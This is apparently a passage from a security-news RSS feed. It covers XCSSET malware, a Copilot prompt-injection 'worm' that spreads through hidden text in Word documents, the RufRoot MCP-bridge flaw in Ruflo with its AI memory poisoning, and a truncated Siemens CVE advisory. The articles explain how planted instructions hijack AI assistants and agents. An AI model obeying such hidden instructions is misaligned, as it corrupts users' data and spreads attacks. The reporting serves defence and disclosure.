<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1vaibge/this_week_in_rust_662/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Xcode Assassin Returns: A Deep Dive Into the Latest XCSSET Version]]></title>
<description><![CDATA[Analysis of XCSSET v40 reveals a macOS malware targeting developers via Xcode. Unit 42 used advanced pattern matching and AI to decode its logic.
The post The Xcode Assassin Returns: A Deep Dive Into the Latest XCSSET Version appeared first on Unit 42.]]></description>
<link>https://tsecurity.de/de/3698003/it-security-nachrichten/the-xcode-assassin-returns-a-deep-dive-into-the-latest-xcsset-version/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698003/it-security-nachrichten/the-xcode-assassin-returns-a-deep-dive-into-the-latest-xcsset-version/</guid>
<pubDate>Mon, 03 Aug 2026 00:08:45 +0200</pubDate>
<content:encoded><![CDATA[<p>Analysis of XCSSET v40 reveals a macOS malware targeting developers via Xcode. Unit 42 used advanced pattern matching and AI to decode its logic.</p>
<p>The post <a href="https://unit42.paloaltonetworks.com/xcsset-v40-malware-analysis/">The Xcode Assassin Returns: A Deep Dive Into the Latest XCSSET Version</a> appeared first on <a href="https://unit42.paloaltonetworks.com/">Unit 42</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Copilot worm can spread through Microsoft Word docs]]></title>
<description><![CDATA[An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.



The report from Håkon Måløy, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source mate...]]></description>
<link>https://tsecurity.de/de/3697836/it-security-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697836/it-security-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</guid>
<pubDate>Mon, 03 Aug 2026 00:07:58 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.</p>



<p class="wp-block-paragraph"><a href="https://enklypesalt.com/posts/context-collapse-part3-ai-worming-through-word/" target="_blank" rel="noreferrer noopener">The report</a> from <a href="https://www.linkedin.com/in/h%C3%A5kon-m%C3%A5l%C3%B8y-770572276/" target="_blank" rel="noreferrer noopener">Håkon Måløy</a>, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source material for Copilot-generated or Copilot-edited Word documents, for example, as input to a financial report. Those malicious instructions could potentially alter figures in the document being created. They then copy themselves into the new document, causing it to become a carrier of the attack when used in another Copilot-assisted workflow.</p>



<p class="wp-block-paragraph">Måløy noted: “To my knowledge, this is among the first public demonstrations of document-borne AI-worm self-propagation through normal workflows in a mainstream commercial productivity suite.”</p>



<p class="wp-block-paragraph">Microsoft on Thursday emailed a statement to CSOonline discussing the report’s revelations. </p>



<p class="wp-block-paragraph">“We have addressed the findings reported by the researcher and thank them for working with us through coordinated vulnerability disclosure. To address this class of risk, we use a defense-in-depth strategy with safeguards that block malicious instructions at multiple points and help keep tasks aligned with users’ requests,” Microsoft said. </p>



<p class="wp-block-paragraph">“We are continuously strengthening these safeguards as the technology and threat landscape evolve,” it added. “We encourage customers to install the latest updates, use multiple layers of security protection, treat content from unknown sources with caution, and review AI-generated content before using or sharing it.” </p>



<h2 class="wp-block-heading">Sidesteps defenses</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, has reviewed the mechanisms used in this vulnerability and says that it is much worse than it might seem, because it will sidestep just about every defensive mechanism enterprises have in place today.</p>



<p class="wp-block-paragraph">“This is a worm, a self-propagating malware pattern that uses Copilot as the transmission mechanism and legitimate corporate collaboration as the delivery channel. It bypasses every traditional email security control because the document is not malicious on delivery and it becomes malicious when Copilot processes it. That means that it bypasses DLP because the exfiltration happens through the user’s own authenticated Copilot session,” Mahapatra said. “It then bypasses endpoint protection because no code executes, only instructions get followed by an AI service the enterprise has explicitly authorized.”</p>



<p class="wp-block-paragraph">He also noted that researchers have been warning about this class of attack for two years.</p>



<h2 class="wp-block-heading">Microsoft’s involvement</h2>



<p class="wp-block-paragraph">Måløy said that he has been working with the Microsoft Security Response Center (MSRC) since March 3 and <a href="https://www.csoonline.com/article/4203349/russian-hackers-turn-exchange-flaw-into-half-click-mailbox-takeover.html" target="_blank">Microsoft </a> subsequently implemented and distributed multiple small focused mitigations, but the core vulnerability has yet to be fixed.</p>



<p class="wp-block-paragraph">He said he was hesitant to disclose an active vulnerability, but felt that it was now time to publish. </p>



<p class="wp-block-paragraph">“My reasoning is that defenders cannot reduce exposure to a risk they are unaware of,” Måløy wrote, “and the propagation mechanism described here affects ordinary document workflows that many organizations already rely on.”</p>



<p class="wp-block-paragraph">In an email interview, Måløy noted that the tweaks Microsoft has implemented were helpful, nonetheless. </p>



<p class="wp-block-paragraph">“The coordinated disclosure process showed that mitigations can meaningfully reduce the demonstrated attack surface, making attacks less reliable and limiting their reach, even without completely eliminating the underlying problem,” he said. </p>



<p class="wp-block-paragraph">Måløy also addressed the resolution that many analysts and consultants suggested, which is to change the nature of LLMs to fully isolate instructions from the data they operate on. </p>



<p class="wp-block-paragraph">“Separating instructions from data may be part of the solution, but I think the distinction between data and instructions is not always clear in real-world workflows. For example, a user may ask an agent to arrange a business trip, requiring the agent to retrieve an email specifying the approved itinerary and a document containing the booking procedure,” Måløy said. </p>



<p class="wp-block-paragraph">“My view is that the broader challenge is therefore not simply to prevent systems from interpreting external content as instructions, but to evaluate whether those instructions align with the user’s goals and the context in which the system is operating,” he added.</p>



<h2 class="wp-block-heading">Problem hard to overstate</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, said it would be difficult to overstate the potential problems from this situation. </p>



<p class="wp-block-paragraph">“This is a significant issue because it moves prompt injection from a single compromised interaction into a potentially self-propagating document integrity attack,” he said, noting that it is not a conventional worm that spreads automatically. A user or Copilot workflow must still bring an infected document into the model’s context. “But once that happens, the malicious instructions can reportedly alter business information, conceal themselves inside the resulting Word document and turn a legitimate internal file into the next carrier,” he said.</p>



<p class="wp-block-paragraph">That, he pointed out, creates “a dangerous enterprise supply chain in which financial reports, contracts, policies and partner documents may inherit malicious behavior while retaining the trust associated with their legitimate authors and Microsoft 365 accounts.”</p>



<h2 class="wp-block-heading">Not a new issue</h2>



<p class="wp-block-paragraph">The key issue behind this flaw is the fact that genAI tends to struggle with telling the difference between data that a user offers as input and the instructions the AI is to execute.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, observed that the same problem with mixed data and instructions occurred in databases decades ago, and turned into what we know as SQL injection attacks today. But, he noted, a few years later, parametrized binding for the database access layers was developed, which separates instructions, which are handled internally and safely, from data, which can come from untrusted sources. “The same needs to happen with LLMs and other AI,” he said.</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Mike Leone</a>, a VP/principal analyst at Moor Insights &amp; Strategy, agreed.</p>



<p class="wp-block-paragraph">“It’s hard not to chuckle a bit with this one. People have been asking whether data can give orders since SQL injections. We fixed that one by giving the database a way to tell an instruction from a value,” Leone said. “Thirty years later, we’ve built an entire category of software that can’t tell the difference at all.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO at Conifers.ai, also said he sees the data-vs-instructions issue as the biggest problem. </p>



<p class="wp-block-paragraph">“Separating data from instructions is still unsolved at the model layer. The labs are making real progress, but not enough to be your only control,” he said, and stressed, “Microsoft doesn’t need to wait for that. It can slow propagation inside Copilot: stop hidden content from being written into new documents, surface hidden text before it’s used, preserve the trust level of what Copilot read and show all AI-generated changes.”</p>



<h2 class="wp-block-heading">Fix needs industry agreement</h2>



<p class="wp-block-paragraph">However, <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, argued that a fix needs industry agreement. </p>



<p class="wp-block-paragraph">“A fundamental fix requires the industry to converge on the same architectural change, which isn’t happening anytime soon given the incentives and the fact that the major players are far from besties,” he said, pointing out that Instruction-data separation would need to be baked in at the model or platform level across every major vendor. “None of them are rewarding that work commercially right now, so treat that as a multi-year research problem, not something a CISO should wait on.”</p>



<p class="wp-block-paragraph">Leone disagreed, arguing that a single vendor can do quite a bit, at least for its own customers. </p>



<p class="wp-block-paragraph">“Microsoft has said publicly since last year that indirect prompt injection can’t be fully prevented, and I give them credit for saying it out loud rather than pretending otherwise,” Leone said, noting that the industry doesn’t have to move in lockstep. “This attack lives inside one product,” he said. “If Microsoft hardens the Copilot document path, Copilot customers get safer whether or not anyone else moves.”</p>



<p class="wp-block-paragraph">Dickson added that another critical problem with this vulnerability is that the carrier documents are created by legitimate employees using legitimate tools, “so there’s no obvious point of origin once the payload starts moving; an organization could be laundering corrupted financial figures through its own workflow for weeks before anyone notices.”</p>



<h2 class="wp-block-heading">Tactics that might help</h2>



<p class="wp-block-paragraph">That said, experts had some specific suggestions for CISOs trying to negate this problem. </p>



<p class="wp-block-paragraph">IDC’s Dickson said, “the most useful lever right now sits outside the model entirely, in how much untrusted content Copilot is allowed to pull into a session without a human choosing it.” He noted that enterprises can turn Copilot’s auto-discovery behavior off or restrict it, and require humans to explicitly select the documents they feed it. “That alone closes off one of the two ways the attack gets a foothold,” he said.</p>



<p class="wp-block-paragraph">IDC also suggested a visible diff or redline of anything Copilot changes in a financial or otherwise consequential document, and the requirement for a human to approve the changes. “That’s not a technical fix, it’s a workflow one, and it’s available today,” Dickson said.</p>



<p class="wp-block-paragraph">He said that IT should also track where content came from and what was touched by an AI system, in metadata that travels with the document. “It doesn’t stop the injection, but it means when something does get through, an organization can actually trace how far it spread instead of discovering a corrupted number three reports later with no way to reconstruct the chain,” he said.</p>



<p class="wp-block-paragraph">However, one expert, <a href="https://www.fortra.com/profile/tyler-reguly" target="_blank" rel="noreferrer noopener">Tyler Reguly</a>, Fortra’s associate director of security R&amp;D, said that he didn’t see this vulnerability having a meaningful impact because it feels like what he called a “laboratory vulnerability.” </p>



<p class="wp-block-paragraph">Normal enterprise workflows don’t encompass a number of the necessary steps for compromise, he said, pointing out that, if anything, people are trained not to download Word documents. Plus, he noted, looking at the blurred example in the report, the malicious document contained an additional apparently blank page which held the concealed prompts in white text.</p>



<p class="wp-block-paragraph">“That page is going to send up warning signs for me if someone even managed to convince me to download an external Word document,” he said. So, overall, “this feels like it requires a perfect storm.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Ruflo flaw lets attackers hijack AI agents through exposed MCP bridge]]></title>
<description><![CDATA[A critical vulnerability in the open-source AI agent platform Ruflo could allow unauthenticated attackers to take control of enterprise AI environments by exploiting an exposed Model Context Protocol (MCP) bridge, according to research published by Noma Security.



The flaw, tracked as CVE-2026-...]]></description>
<link>https://tsecurity.de/de/3697839/it-security-nachrichten/critical-ruflo-flaw-lets-attackers-hijack-ai-agents-through-exposed-mcp-bridge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697839/it-security-nachrichten/critical-ruflo-flaw-lets-attackers-hijack-ai-agents-through-exposed-mcp-bridge/</guid>
<pubDate>Mon, 03 Aug 2026 00:07:58 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A critical vulnerability in the open-source AI agent platform Ruflo could allow unauthenticated attackers to take control of enterprise AI environments by exploiting an exposed Model Context Protocol (MCP) bridge, according to research published by Noma Security.</p>



<p class="wp-block-paragraph">The flaw, tracked as <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-59726" target="_blank" rel="noreferrer noopener">CVE-2026-59726</a> and dubbed RufRoot, carries a maximum CVSS score of 10.0 and affects Ruflo versions prior to 3.16.3, Noma Security wrote in a blog <a href="https://noma.security/blog/rufroot-the-mcp-bridge-vulnerability-that-turns-agents-into-rogue-admins-cve-2026-59726/" target="_blank" rel="noreferrer noopener">post</a>.</p>



<p class="wp-block-paragraph">The vulnerability allows attackers to execute arbitrary code, steal large language model (LLM) API keys, access user conversations, hijack AI agents, and manipulate the platform’s persistent AI memory through a single HTTP request.</p>



<p class="wp-block-paragraph">The researchers said the issue stems from an unauthenticated MCP Bridge that is exposed by default and provides direct access to the tools AI agents use to interact with enterprise systems.</p>



<p class="wp-block-paragraph">“The MCP Bridge isn’t a random auxiliary debug interface; rather, it is Ruflo’s central nervous system. Every tool call, every agent action, every memory operation goes through the MCP bridge,” the researchers wrote. “Mistakenly giving unauthenticated access to the MCP Bridge means giving unauthenticated access to everything.”</p>



<h2 class="wp-block-heading">One request leads to full compromise</h2>



<p class="wp-block-paragraph">According to Noma Security, Ruflo’s built-in MCP Bridge is an Express.js server that handles every tool invocation made by AI agents. The bridge exposes 233 tools covering shell access, database operations, agent management, and memory storage.</p>



<p class="wp-block-paragraph">The researchers said the bridge’s /mcp endpoint accepts tool invocations without authentication. In a proof-of-concept demonstration, they used Ruflo’s terminal_execute tool to obtain command execution inside the container with a single HTTP request.</p>



<p class="wp-block-paragraph">“Because the MCP Bridge requires direct access to the underlying system resources to execute these commands, it creates a high-stakes security boundary,” the researchers wrote. “When an attacker can reach this endpoint without authentication, they gain a direct pipeline to the underlying host infrastructure.”</p>



<p class="wp-block-paragraph">The researchers said they were able to enumerate available tools, steal LLM provider API keys from environment variables, deploy attacker-controlled AI agent swarms, retrieve user conversations stored in MongoDB, and establish persistence.</p>



<p class="wp-block-paragraph">The researchers also demonstrated what they described as AI memory poisoning by inserting malicious entries into Ruflo’s AgentDB pattern store, allowing future AI responses to incorporate attacker-controlled instructions.</p>



<p class="wp-block-paragraph">Every stage of the attack chain was validated against a default Ruflo deployment running on AWS EC2, according to the researchers.</p>



<h2 class="wp-block-heading">Beyond Ruflo: A broader MCP security challenge</h2>



<p class="wp-block-paragraph">While the authentication flaw is specific to Ruflo, security practitioners say the research highlights broader risks surrounding AI orchestration platforms and MCP infrastructure.</p>



<p class="wp-block-paragraph">“MCP adoption has outpaced the security defaults built into a lot of orchestration tools,” said Amit Jena, AI Development Manager at Kanerika. “These platforms shipped fast, prioritized ease of setup over authentication, and assumed the network boundary would protect them. That assumption breaks down once the tool sits on a server reachable from a corporate network, which is increasingly where enterprises are running them.”</p>



<p class="wp-block-paragraph">Jena said the research also points to a security concern that extends beyond a single product.</p>



<p class="wp-block-paragraph">“The memory poisoning problem isn’t product-specific, and that’s the part worth paying attention to,” he said. “Any platform that gives agents a persistent, writable memory store needs to treat that store as a security boundary: who can write to it, and can you tell system-generated memory from memory an attacker planted. Very few platforms are doing that today.”</p>



<p class="wp-block-paragraph">He added that, unlike traditional persistence techniques, poisoned AI memory can remain inside a trusted data store and continue influencing future agent behavior after the original intrusion has ended.</p>



<h2 class="wp-block-heading">Patch addresses attack chain</h2>



<p class="wp-block-paragraph">Noma Security said it disclosed the vulnerability responsibly to Ruflo, which <a href="https://github.com/ruvnet/ruflo/security/advisories/GHSA-c4hm-4h84-2cf3" target="_blank" rel="noreferrer noopener">released</a> fixes within hours along with a public security advisory.</p>



<p class="wp-block-paragraph">According to the researchers, the updated release changes the MCP Bridge to bind to the loopback interface by default and fail closed if administrators attempt to expose it publicly without configuring authentication.</p>



<p class="wp-block-paragraph">Noma Security also urged organizations running Ruflo to immediately close firewall access to ports 3001 and 27017, rotate all LLM API keys, audit AgentDB for malicious entries because “a patched redeploy alone doesn’t undo poisoning,” and inspect MongoDB for signs of tampering.</p>



<p class="wp-block-paragraph">Jena said organizations should also review how AI orchestration platforms are deployed and managed.</p>



<p class="wp-block-paragraph">“If a component can execute a shell command or query a database, it gets the same authentication, network segmentation, and logging as any other privileged system in the environment,” he said. He also recommended that security teams inventory the tools exposed through AI agent deployments, audit persistent AI memory separately from software patching, and narrowly scope and rotate LLM provider credentials following any suspected exposure.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP]]></title>
<description><![CDATA[View CSAF
Summary
Multiple vulnerabilities have been identified in the additional GNU/Linux subsystem of the firmware version V3.1.6 for the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP (incl. SIPLUS variant). Siemens is preparing fix versions and recommends specific countermeasures for products where...]]></description>
<link>https://tsecurity.de/de/3697611/it-security-nachrichten/siemens-simatic-s7-1500-cpu-1518f-4-pndp-mfp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697611/it-security-nachrichten/siemens-simatic-s7-1500-cpu-1518f-4-pndp-mfp/</guid>
<pubDate>Mon, 03 Aug 2026 00:06:09 +0200</pubDate>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-209-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Multiple vulnerabilities have been identified in the additional GNU/Linux subsystem of the firmware version V3.1.6 for the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP (incl. SIPLUS variant). Siemens is preparing fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP are affected:</p>
<ul>
<li>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
<li>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, 